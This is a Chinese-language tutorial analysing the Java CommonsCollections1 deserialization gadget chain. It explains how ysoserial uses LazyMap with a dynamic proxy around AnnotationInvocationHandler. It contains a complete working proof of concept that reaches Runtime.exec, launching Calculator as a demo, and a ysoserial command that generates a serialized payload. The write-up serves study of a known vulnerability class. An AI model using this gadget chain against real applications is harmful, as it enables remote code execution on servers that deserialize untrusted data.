(二)中所示代码和ysoserial中有所不同,ysoserial中的CommonCollections1利用链中用的是LazyMap而不是TransformedMap。
TransformedMap可以参考以下链接
长亭科技: Lib之过?Java反序列化漏洞通用利用分析
LazyMap和TransformedMap类似,都来自Common-Collections库,并继承了 AbstractMapDecorator。LazyMap的漏洞触发点和TransformedMap唯一差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform。LazyMap的作用是懒加载,在get找不到值的时候,会调用 factory.transform 方法去获取一个值。
相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂了一些,原因在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法中并没有直接调用到 Map 的 get 方法。所以 ysoserial 找到了另一条路,AnnotationInvocationHandler 类的 invoke 方法调用到get:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if(var4.equals("equals") && var5.length == 1 && var5[0] == Object.class){
...
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
...
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.gt(var4);
...
}
}
}
怎么调用 AnnotationInvocationHandler#invoke呢?ysoserial的作者想到了利用 Java的对象代理。
0x02 对象代理
Java作为一门静态语言,如果想要劫持一个对象内部的方法调用,实现类似PHP的魔术方法__call,需要用到 java.reflect.Proxy
__call: PHP: Overloading - Manual
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
第一个参数: ClassLoader,用默认的即可
第二个参数: 需要代理的对象集合
第三个参数: 是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑
例子如下
package ExampleInvocationHandler;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.HashMap;
class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
public class Main {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result); // output: Hacked Object
proxyMap.put("key", "value");
result = (String) proxyMap.get("key");
System.out.println(result); // output: Hacked Object
System.out.println(proxyMap.size());
}
}
ExampleInvocationHandler类实现了invoke方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串 Hacked Object。invoke即调用方法,劫持了HashMap中的get方法,无论从HashMap中get什么key,都只会返回 Hacked Object,而调用HashMap其他的方法却不受影响。
上述方法 sun.reflect.annotation.AnnotationInvocationHandler,如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只用调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发 LazyMap#get。
0x03 利用LazyMap构造利用链
对(二)中的POC做修改,使用LazyMap替换TransformedMap
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
而后对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler
= (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
代理后的对象叫做 proxyMap,但我们不能直接进行序列化,因为我们入口点时 sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以还需要再用 AnnotationInvocationHandler 对这个 proxyMap 进行包裹。
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
综上
package commoncollection1_final;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollection1Final {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(handler);
oss.close();
// 反序列化
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
0x04 LazyMap与TransformedMap的对比
LazyMap也无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。
LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject中有没有setValue没任何关系,关键还是和逻辑有关。
0x05 实验
java -jar ysoserial.jar CommonsCollections1 /System/Applications/Calculator.app/Contents/MacOS/Calculator > CommonsCollections1.bin
可以得到利用链如下
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x05 代理模式
在代理模式中,一个类代表另一个类的功能,代理模式是一种结构模式,在代理模式中,我们创建具有原始接口的对象,以将其功能暴露给外部世界。
interface Printer {
void print();
}
class ConsolePrinter implements Printer {
private String fileName;
public ConsolePrinter(String fileName) {
this.fileName = fileName;
}
@Override
public void print() {
System.out.println("Displaying " + fileName);
}
}
class ProxyPrinter implements Printer{
private ConsolePrinter consolePrinter;
private String fileName;
public ProxyPrinter(String fileName) {
this.fileName = fileName;
}
@Override
public void print() {
if(consolePrinter == null) {
consolePrinter = new ConsolePrinter(fileName);
}
consolePrinter.print();
}
}
public class Main {
public static void main(String[] args) {
Printer image = new ProxyPrinter("test");
image.print();
}
}
0x06 参考
https://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class